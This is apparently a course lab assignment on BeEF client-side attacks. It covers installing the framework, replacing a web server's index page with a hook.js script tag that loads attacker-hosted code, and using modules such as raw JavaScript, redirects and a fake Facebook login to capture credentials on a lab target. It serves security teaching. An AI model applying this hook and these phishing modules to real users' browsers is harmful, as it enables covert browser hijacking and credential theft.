# BeEF Client Side Attack

Contents

[BeEF Client Side Attack 1](#_Toc96778907)

[Install BeEf 1](#_Toc96778908)

[Setup BeEf Client Side Attack 1](#_Toc96778909)

[Hook the Target 2](#_Toc96778910)

[Assignment Submission 2](#_Toc96778911)

Time required: 30 minutes

# Install BeEf

1. At a terminal prompt:

|  |
| --- |
| sudo apt update  sudo apt install beef-xss |

1. Go to the menu 🡪 Type **beef** 🡪 Click **beef start**
2. Type in a different password for the beef user: Password02
3. When the web browser interface shows up.
   1. Username: beef
   2. Password: Password02

# Setup BeEf Client Side Attack

If you go back to the terminal session you used to launch beef, scroll up to find this piece of JavaScript. This script will hook the target web browser to the BeEF framework.

|  |
| --- |
| <script src="http://127.0.0.1:3000/hook.js"></script> |

There are many ways to get the user to run this code. DNS spoof requests, MITM injection, spoofed email, or social engineer the target to open the hook page.

1. In the Terminal: **cd /var/www/html**

This is the folder where the files for your web server is stored. index.html is the default page that is loaded when someone browses to the web site.

1. Type: **sudo geany index.html**
2. Delete all the text in the page.
3. Insert the following script.

|  |
| --- |
| <script src="http://127.0.0.1:3000/hook.js"></script> |

1. Change the IP address to the local IP address of your Kali machine.
2. **CTRL S** to save the file.
3. At a terminal prompt, start the Apache web server: **sudo service apache2 start**

# Hook the Target

All these exploits were tested on Edge.

1. Go to your Windows Target machine.
2. In a web browser go to: <http://127.0.0.1> (Substitute your local Kali IP for 127.0.0.1)
3. The web page will be blank. The script will run without any evidence.
4. Go to **BeEF** in your Kali machine: You should see your Windows 10 target machine IP address under **Online Browsers**.
5. Go to the **Details** tab 🡪 look at the information about the target web browser.
6. Go to the **Network** tab 🡪 **Map**. You will see a visual view of the connection.

# Attack the Target

1. In **BeEf** 🡪 **Commands** tab 🡪 **Browser** 🡪 **Hooked Domain** 🡪 **Create Alert Dialog**
2. Type in a message in the Alert Text 🡪 Click **Execute**.
3. There will be an alert on the Target machine.
4. **Insert a screenshot:**

Click or tap here to enter text.

1. In **BeEf** 🡪 Create Prompt Dialog 🡪 Type in **Please Enter Your Password:** 🡪 Click **Execute.**
2. There will be a logon prompt on the Target machine.
3. **Insert a screenshot:**

Click or tap here to enter text.

1. In **BeEf** 🡪 **Misc** 🡪 **Raw JavaScript** 🡪 Click **Execute**.
2. The Javascript will execute in the Target Browser
3. **Insert a screenshot:**

Click or tap here to enter text.

1. In **BeEf** 🡪 **Browser** 🡪 **Hooked Domain** 🡪 **Redirect Browser** 🡪 Click **Execute**.
2. The Target browser will go to beefproject.com, or whatever website you typed in.
3. **Insert a screenshot:**

Click or tap here to enter text.

1. In **BeEf** 🡪 **Social Engineering** 🡪 **Pretty Theft** 🡪 Click **Execute**.
2. The Target browser will show a fake Facebook Login.
3. **Insert a screenshot:**

Click or tap here to enter text.

1. Type in a fake username and password.
2. **From BeEF, Insert a screenshot of the captured username and password:**

Click or tap here to enter text.

1. In **BeEF** 🡪 **Social Engineering** 🡪 **Fake Notification Bar (IE)** 🡪 Click **Execute**.
2. The Target browser should show a fake notification bar wanting to install software.
3. **Insert a screenshot:**

Click or tap here to enter text.

## Assignment Submission

Attach all program files and a screenshot of your username and password as shown above to the assignment in BlackBoard.